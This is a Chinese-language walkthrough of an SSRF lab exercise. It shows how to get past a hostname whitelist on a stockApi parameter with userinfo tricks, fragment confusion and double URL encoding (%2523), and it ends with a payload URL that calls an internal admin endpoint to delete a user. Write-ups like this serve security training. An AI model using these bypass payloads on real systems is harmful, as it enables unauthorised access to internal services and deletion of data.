# SSRF Lab7 本題要繞過 SSRF 白名單保護機制,利用 URL 認證資訊(userinfo) 和 雙重 URL 編碼(%2523) 來混淆伺服器的解析行為。 概要: - 這個功能會從 stockApi 參數中的 URL 對內部伺服器發出請求,但會做「白名單比對 hostname」以防止 SSRF。 一樣進入網站攔截請求。   嘗試輸入我們一般的 `127.0.0.1` 那些都會被過濾掉。  轉換道路去輸入: ``` http://username@stock.weliketoshop.net/ ``` 在這個 Lab 裡,伺服器會檢查 host 字串是否在白名單中,比如: ``` allowed_hosts = ["stock.weliketoshop.net"] ``` 但攻擊者可以提供這樣的 URL: ``` http://localhost@stock.weliketoshop.net/ ``` 這樣伺服器檢查 `host = stock.weliketoshop.net`。 但真正發出 HTTP 請求時,有些後端庫會以 localhost 當作目標主機去連線,因為他們把 userinfo 的 `localhost@` 誤當成了 hostname! 結果就發送請求到 `http://localhost/`,SSRF 成功 。 所以接著嘗試用 `#` 片段混淆 hostname: ``` http://username#@stock.weliketoshop.net/ ``` 作用是讓瀏覽器跳到網頁中的某個位置(像是 `<div id="bottom">`),不會發送給伺服器。 ``` https://example.com/page#section2 ``` 瀏覽器只會發 request 到: ``` https://example.com/page ```  失敗,所以更進一步嘗試雙重混淆。 ``` http://localhost:80%2523@stock.weliketoshop.net/ ``` - `%2523`:雙重 URL 編碼,瀏覽器解析成 `%23` - `%23`:是 `#` 的 URL 編碼 所以最終伺服器內部會解析為: ``` http://localhost:80#@stock.weliketoshop.net/ ``` 對內部解析器來說,真正 hostname 是 localhost,成功繞過白名單。  所以我們再加上刪除使用者的連結。 ``` http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos ```   ---
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up